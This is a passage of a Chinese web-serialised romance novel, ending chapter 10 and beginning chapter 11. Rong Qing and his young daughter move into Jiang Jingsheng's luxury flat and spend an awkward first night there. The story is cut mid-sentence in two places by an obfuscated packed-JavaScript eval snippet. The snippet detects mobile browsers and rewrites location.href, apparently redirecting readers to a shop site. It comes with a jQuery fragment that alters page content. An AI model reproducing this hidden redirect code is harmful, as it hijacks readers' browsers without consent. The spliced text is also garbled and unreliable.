容清注意到他脸上难掩落寞的神情,内心微微触动,轻声开口:“走吧。” 他把门轻轻扣上,没有再回头。 开弓没有回头箭,他选择了江景盛,也选择了奔赴更好的生活。 不管以后发生什么,那都是以后再考虑的事情了。 而他现在更希望过好眼下的生活。 容橙抱着玩偶,懵懵懂懂地牵着容清的手,小声说道:“爸爸,我们要去哪里?” 容清下意识地看向江景盛,对上他的目光,容清收回视线,垂眸摸了摸容橙的小辫子,说道:“搬去妈妈家里,以后和妈妈一起生活。” 听着这声“妈妈”,江景盛微微扬起唇角。 果然不出他所料,容橙喊他妈妈,跟容清脱离不了干系。 之所以不纠正容橙的叫法,那很有可能是故意的。 车厢的位置很宽敞,一股淡淡的甜橙味车载香水清新好闻,容清抱着容橙靠着车窗闭目养神。 过了半小时后,江景盛把车里的音乐关掉,免得打扰到后座熟睡的两父女,他开车开得很稳,容清是一路睡到了小区车库。 江景盛把车停好,容清才缓缓醒了过来,揉了揉眼皮,看向窗外,声音沙沙哑哑的:“到了吗?” 江景盛替他打开车门,轻声道:“嗯,要在车里继续坐一会吗?还是先回家?” 回家这个词,让容清心里有几分触动。 在很久很久以前,他想的就是,和江景盛组成家庭。 有一个属于他们的家。 容清:“回家吧。” 他们是傍晚离开南芜乡的,到小区已经是晚上八点了。 江景盛推着他的行李,他抱着容橙跟在身后。 江景盛买的房子是在南芜市区中心寸土寸金的繁华地段,金碧辉煌的装潢风格,让容清增添了一丝丝紧张感。 他恍惚地想起齐女士跟他说的那句话:圈子不同,不要硬融。 和他的小四十平方破旧的出租房不一样,哪怕是公共场所都被打扫得一尘不染,更别提江景盛住的是一套复式公寓,只是单单一个客厅的面积都比他原本住的出租房还要大。 容清抱着容橙站在门口,胆怯地退后了一小步。 或许是这几年吃过的苦头太多,意识到贫富差距,让他有些自卑。 江景盛看出了他的不自在,将他轻轻一拽,拉了进来,莞尔一笑:“来都来了,没有后悔的余地了。” 容清闻了闻飘散在空气中的饭菜香味,饿得饥肠辘辘。 他倒是没有后悔,跟着孩子她爸住豪宅,吃香喝辣,这样的生活还不好吗? 江景盛从玄关的鞋柜里拿出一对新的拖鞋,容清刚坐下来准备换鞋子,江景盛就蹲了下来,给他解鞋带。 容清脚一缩,紧张道:“你干嘛?” 江景盛握着他的脚腕,给他把拖鞋穿上,面不改色道:“给你换鞋。” 容清有点受宠若惊。 江景盛淡淡道:“慌什么,以前不都是我给你换的吗?” 容清抿了抿唇,看着江景盛帮他换完之后又从鞋柜里拿出一双粉色的小拖鞋给容橙换上。 尺寸刚刚好。 他看着这一幕,忽然明白了。 在他不知道的时候,江景盛就已经做好了准备,想要将他和容橙带回家。 容橙拽了拽容清的袖子,小声问道:“爸爸,可以吃饭了吗?” 容清看向江景盛。 江景盛:“先吃饭吧,行李一会再收拾。” “家政阿姨每天都会来家里煮饭,负责中午和晚上两餐,包括打扫卫生。”江景盛把容橙抱上椅子,给她拿了个小碗。 餐桌上还摆着四菜一汤。 容清点点头,脸上流露着几分犹豫的神色,想开口说点什么,还是咽了下去。 他原本想着在休养的这段时间,他每天在家里会帮忙做一下家务。 其实不用请家政阿姨的。 江景盛似乎猜到他想说什么,缓缓开口:“你就在家好好休息。” 容清垂眸,用筷子拨弄着碗里的米饭。 “是我想要好好照顾你,所以你什么也不用做,也不需要有负担。”说着,江景盛从厨房里端来一盅药膳放在他面前,“尝尝看。” 一股浓浓的中药味道扑鼻而来,容清皱着眉头,不情不愿地嘀咕:“不想喝。” 江景盛轻笑:“味道是重了点,但是喝了它对你的身体好。” 容清一脸抗拒的表情。 “那我喂你?”江景盛拿起勺子,刚要喂他,被容清抢了回来。 “我自己喝。”容清皱着眉,在江景盛的目光下,一口一口慢慢喝着。 江景盛趁机摸了摸他的头:“真乖。” 容清:“……” 这是把他当孩子哄呢? 容橙的笑声吸引了两人的注意,容清尴尬地瞪了江景盛一眼。 在孩子面前能不能注意点? 容橙吃饭很乖,虽然吃得很慢,但她不挑食,给什么就吃什么。 趁着他们两父女在吃饭的时候,江景盛去收拾他们带过来的行李。 看着他的衣柜里挂上了容清的衣服,一种满足的喜悦萦绕心间。 他希望未来属于容清的物品可以摆放在家里的每一个角落,这会让他很有安全感。 吃完饭,容清想把碗筷给收拾了,他刚站起身,江景盛就快步来到他身后,从背后握住他的手。 “去休息一下吧。” 他的声音从身后徐徐传入耳中,容清稍微后退一步,撞上一堵肉墙,江景盛顺势揽住了他的腰。 容清挣扎了下,从他怀里退开,站到一旁。 “收拾碗筷也不是什么辛苦的事。”容清的脸染上一层薄薄的红晕,不自然地别开脸。 江景盛握着他的手,用纸巾仔细地擦干净他手上的油渍,说:“在家里不要做家务,坐着躺着,玩游戏都可以,什么都不用做,你不用觉得尴尬或者有什么压力,这里是你家,你不是客人,你是这个家的主人。我给阿姨开的工资很高,所以你不用觉得别扭。” 他凑近容清耳朵,小声地报了个数字。 容清瞳孔微张,有些惊讶地看着他。 江景盛:“有什么需要就跟我说,或者用我给你的工资卡买。” 容清没说话,给容橙擦了擦脏兮兮的小脸。 偌大的客厅,天花板吊着的奢华的水晶灯,昂贵的真皮沙发,让父女俩都有些局促。容橙扑闪着大眼睛,忐忑地扫视着周围的环境,不安地坐在容清身边。 江景盛将容橙抱起来,摸了摸她的小肚子,笑道:“吃饱了吗?” 容橙点点头。 “阿姨很会做面食,橙橙想吃什么你就跟阿姨说。”江景盛一只手抱着容橙,另一只手朝容清伸了过来,“我带你参观一下我们的家。” 容清微微抿唇。 江景盛的手就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320331|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一直伸着,四目相对。 直到过了好久,江景盛的手开始发酸,容清才把手轻轻放进他的手心里面,然后被用力握得很紧。 江景盛带他来到一楼的客房,朝他示意:“推开门看看。” 容清握着门把手轻轻推开房门,惊讶地回过头来看他,房间里放满了各种玩具,甚至还有钢琴、小提琴这些乐器。 江景盛:“橙橙这个年纪还是爱玩的时候,所以想着给她多买一点玩具。” “挺好的。”容清心里有几分触动,就如他所想,江景盛确实能让容橙过上更好的生活。 “在想什么?” 江景盛握着他的手,拉近两人的距离。 容清摇摇头:“没什么。” 容橙很喜欢这个房间,她跑到那架钢琴旁边,看了看站在门口的爸爸妈妈,在他们的目光下轻轻触碰了一下黑白琴键,发出的音乐将她吓了一跳,局促不安地看向容清。 江景盛快步走了过去,将她抱起来一起坐在钢琴的前面的凳子上,握着她的手轻轻按着琴键,笑道:“橙橙喜欢这个玩具吗?” 容橙闻言看了一眼容清,半晌才点了点头说“喜欢”。 “喜欢就好。”江景盛轻笑一声,让她自己玩,然后再次回到容清身边拉着他的手往露台的方向走去。 这里的视野开阔,面积很大,摆放着很多空空的花盆,他出租屋的那两棵绿萝是这里唯一的绿植。 江景盛:“我怕你在家休养的这段时间无聊,所以把阳台留给你来收拾,你想种什么就种什么。” 月色皎洁,晚风轻轻拂过脸庞。 容清看着远处流光溢彩的霓虹灯,车水马龙的道路,静静地出神。 直到他感觉肩膀沉了沉,一件衣服搭在他的身上。 江景盛:“深秋夜里风大,别着凉了。” 容清轻轻叹了一口气,拢了拢衣襟,说:“你,什么时候准备的这些?” 江景盛:“我们重逢的那一天。” 他匆匆忙忙找人按照他的要求把房子布置了一番,时间紧急,但是目前看来效果还不错。 容清看向一旁,对上他温柔的目光,视线闪躲。 “如果……” 话到嘴边又咽了下去。 “如果不是你,我不打算跟任何人结婚。”江景盛大概猜到他要说什么,他不知道要怎样回答,但是这是他想说的答案,“所以没有如果,我只会选你。” “你不恨我吗?”容清低着头,声音很轻。 “那你呢?”江景盛问他:“你不恨我吗?” 容清沉默了。 恨吗? 好像谈不上。 如果他和江景盛没有重逢,他大概是会觉得意难平吧。 明明那么相爱的两个人,却因为各种原因最后分手,连朋友都做不成,甚至只能远远躲着。 江景盛:“风大,进去吧。” …… …… 二楼有两间房,一间是主卧,一间是江景盛给容橙准备的公主房。 容清看着放在主卧里的行李沉默了,他那几件旧衣服还被江景盛挂在了衣帽间,有种羞耻感慢慢地涌上心头。 江景盛:“这里面的衣服都是我给你买的,橙橙房间里也有一些我给她买的新衣服。” 这时,楼梯间响起“哒哒”的脚步声,容橙揉着眼睛跑向容清,呢喃道:“爸爸我困了。” 容清用热毛巾给她擦了擦手脚,抱着她来到客房里面那张公主床上。 容橙:“爸爸今晚还要和我睡吗?” 闻言,容清和江景盛都愣了愣。 11. 第 11 章 容橙的一句话,空气凝滞半响,四目相对。 容清:“我和橙橙睡客房吧。” 江景盛:“你和橙橙睡主卧吧。” 两人同时开口,话音刚落,彼此都愣了下。 容清别扭地看向一旁,他答应江景盛搬过来,以为他会给自己安排客房,没想到江景盛会把他的行李直接搬到主卧。 江景盛刚想解释点什么,容橙打断了两人尴尬的气氛。 容橙拽了拽容清的衣摆,说道:“爸爸,我想自己一个人睡。” 听幼儿园的小朋友说他们现在都是自己一个人睡的,她也想要自己一个人睡。 容橙的话一出口,容清和江景盛沉默地看了一眼对方,又默契地转移了视线。 气氛变得有些微妙。 但容清会尊重和支持孩子的每一个想法,所以他很“勉强”地同意了。 客房布置得很用心,粉色系的公主房,像童话世界。 容清从房间的小书柜里拿出一本童话书坐在床边给容橙念睡前故事哄她睡觉。 “从前,有个漂亮的小公主……” 江景盛慢慢地退出了房间,听着容清低沉的嗓音,他心里有一种说不上来的满足感。 半小时后,容清看着熟睡的容橙,轻轻吻了一下她的额头,帮她把被子掖好,然后把床头的小夜灯打开,掩上房门,留下一条门缝。 他担心陌生的房间,和陌生的气味会让容橙不安,如果她半夜醒来自己也能第一时间发现。 在踏进主卧之前,容清站在门口深吸了一口气。 “呼。” 他们很久没有这样同床共枕了。 别说睡在同一张床上,他现在只要和江景盛待在同一个空间,他都会忍不住心里悸动。 有一种莫名的紧张感。 就好像当年江景盛在主动接近他的时候,总是让他羞涩不安和一种埋在心底的自卑感。 江景盛太优秀了,总让他下意识地否认自己。 他们之间无论是家世背景,相貌身材还是社会阅历,都不是同一个层次的。 就好像五年前刚在一起的时候,他总需要不停地向江景盛确认他的心意。 这是他的安全感来源之一。 没想到五年后,他还是会像当年那样,想要一遍遍确认江景盛现在对他的爱还剩下多少。 他原以为,五年的时间,江景盛对他的爱应该消失殆尽了。 或许是等了很久都没等到他回来,江景盛想要到客房去找他,没想到一打开门就看见他站在门口。 江景盛微微愣神:“怎么不进房?” 容清垂眸,低声说了句:“正打算进来,你就开门了。” 江景盛沉默地看了他一眼,忽然上前一步,将他拽入怀中。 “啊。”容清没来得及反应,被他的这番举动吓了一跳。 接着,江景盛将他紧紧搂入怀中。 “我好想你。” “小清。” 炽热的呼吸喷洒在他的颈肩,低沉的声音萦绕耳边,容清内心轻轻颤动,他无措地僵在原地,任由江景盛将他抱紧。 空气凝滞不前,时间仿佛静止。 只剩下两人的呼吸声和那不规律跳动的心跳声。 过了好久,江景盛才将他松开,像以前那样揉了揉他的脑袋,说:“先去洗洗吧,忙了一天了。” 容清这才注意到他身上穿着的睡衣,点了点头。 稀里哗啦的水声响起,江景盛看向浴室的方向,习惯性地拉开抽屉,没找到他想要的东西。 他喜欢在床头柜的抽屉里放许多烟,有时候一抽就是一整晚。 如今里面空空如也。 等容清从浴室里出来的时候,整个卧室静悄悄的,江景盛躺在床上,容清以为他睡着了。 发梢上还挂着水珠,容清用毛巾随意擦了擦,坐在窗边,打算把头发吹干。 在他低头擦头发的时候,江景盛走了过来,“怎么不用吹风机?这里风大,容易着凉。” 容清猛地抬起头,惊讶道:“你还没睡吗?” 江景盛:“嗯。” 容清:“噢。” 江景盛接过他的毛巾给他轻轻擦拭着头发,低声轻叹:“我睡着了你用风筒也没关系。” 容清放下双手,低着头没说话。 江景盛忽然抬起他的头,容清呼吸一滞。 太近了。 江景盛的温柔的目光撞进他的眼眸,两人的呼吸近在咫尺。 看着那张慢慢凑近的脸,容清紧张得咽了下口水,在江景盛几乎要吻上他的时候,他别过脸,温热的吻轻轻擦过他的脸。 心脏扑通扑通跳个不停,容清攥紧了睡衣的衣摆,连呼吸也变得急促。 江景盛微微一顿,轻声说了句:“先去吹头发吧。” “嗯。”容清点点头,看着江景盛的背影松了口气。 等他把头发吹干,再次回到卧室时,房间的灯光已经熄灭,只剩下一盏明黄色的小灯。 容清蹑手蹑脚地上了床,生怕吵醒了一旁睡着的江景盛。 他闭上眼睛,迟迟没有睡意。 听着床上另一旁传来的呼吸声,容清不由想起刚才那个他主动躲开的吻,心绪有点乱。 如果他那时候没有躲开,会怎样? 那些甜蜜的点点滴滴此时时刻浮现在眼前。 让他有些心浮气躁,内心涌动不已。 “呼。”容清轻轻吹出一口气,脸上的燥热感迟迟散不去。 看着江景盛的背影,容清内心有些煎熬,但最后还是小心翼翼地翻身背对着他,在胡思乱想中渐渐地睡着了。 又过了半小时。 江景盛缓缓睁开双眼,转头看向一旁已经熟睡的容清,无声地叹了口气。 他们之间就像一堵密不透风的墙。 容清下意识的反应骗不了人。 他在抗拒自己的接近。 就像他们现在躺在同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320332|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张床上,中间的距离就像隔着一条河。 同床异梦。 江景盛伸手过去,轻轻触碰着他柔软的发丝。 想将他拥入怀。 最后还是放开了手心那缕发丝,慢慢地把手收了回来。 等容清什么时候放下心里的芥蒂,重新接受他的感情再说吧。 …… …… 次日。 容清醒来时已经快要中午了。 他迷迷糊糊地睁开眼睛,入目是一片陌生的白色,房间里燃着淡淡的香薰,秋日的太阳将整个房间晒得暖洋洋的,微风轻轻掠过,窗纱摇曳。 容清用脸蹭了蹭柔软的被褥,舒服得让他想再睡个回笼觉。 意识慢慢回笼。 容清猛地看向一旁,伸手探了探被窝,早已没了余温。 他环顾房间一眼,没看见江景盛的身影。 容清打开房门的瞬间,楼下的钢琴声陆陆续续传入耳中,他微微愣住,随着乐声来到楼下的玩具房。 房门半掩着。 江景盛抱着容橙坐在钢琴前面,耐心又温柔地握着容橙的手教她弹琴。 场面温馨,容清眼眶微热,吸了吸鼻子,在他准备转身离开免得打扰到他们两父女的时候,江景盛发现了他。 “小清。” 容清顿住脚步,下一秒,江景盛起身朝他赶来,脸上还挂着那抹和煦的笑容。 江景盛将他从头到尾仔细地打量了下,温声道:“脸色看着好了很多,睡饱了吗?” 容清点点头。 他这几年从来没试过这样一觉睡到自然醒。 因为要照顾容橙,他可以不吃早饭,但孩子不能不吃,所以哪怕是休息日的时候他都得早起做早餐。 在容橙还小的时候更糟糕,他白日里上班,回家还要干一大堆的家务活。 容橙那时候还小,他连做家务都要一边盯着看。 现在却忽然有一种卸下了担子的感觉,他不用为生计烦恼,也不用为生活琐事焦虑,容橙也可以放心交给江景盛,而他想做什么做什么,整个人都变得轻松下来。 江景盛:“阿姨还在准备午饭,饿了吗?要不要吃点零食先垫垫肚子?” 刚才容清下楼的时候就闻到了一股浓郁的饭菜香味。 容橙跟在他们的身后就像一条小尾巴,他刚坐下来,厨房的阿姨就端着一碗炖汤出来,给他打了一声招呼。 阿姨的面相很和善,是南芜市本地人,早些年在面馆和早餐店工作过,所以很会做一些面食和糕点,后来又去做了好些年的住家阿姨,会做很多菜式。 看着眼前的炖汤,容清心里发苦,他还是很清晰地可以闻到混在汤里面的药材那股浓郁的味道。 江景盛:“你身体虚,接下来的这段时间让阿姨给你补补。” 吃过饭后,容清坐在阳台的吊椅上晒太阳,容橙就窝在他的怀里。 摇椅轻轻晃动,一大一小在看着童话故事书。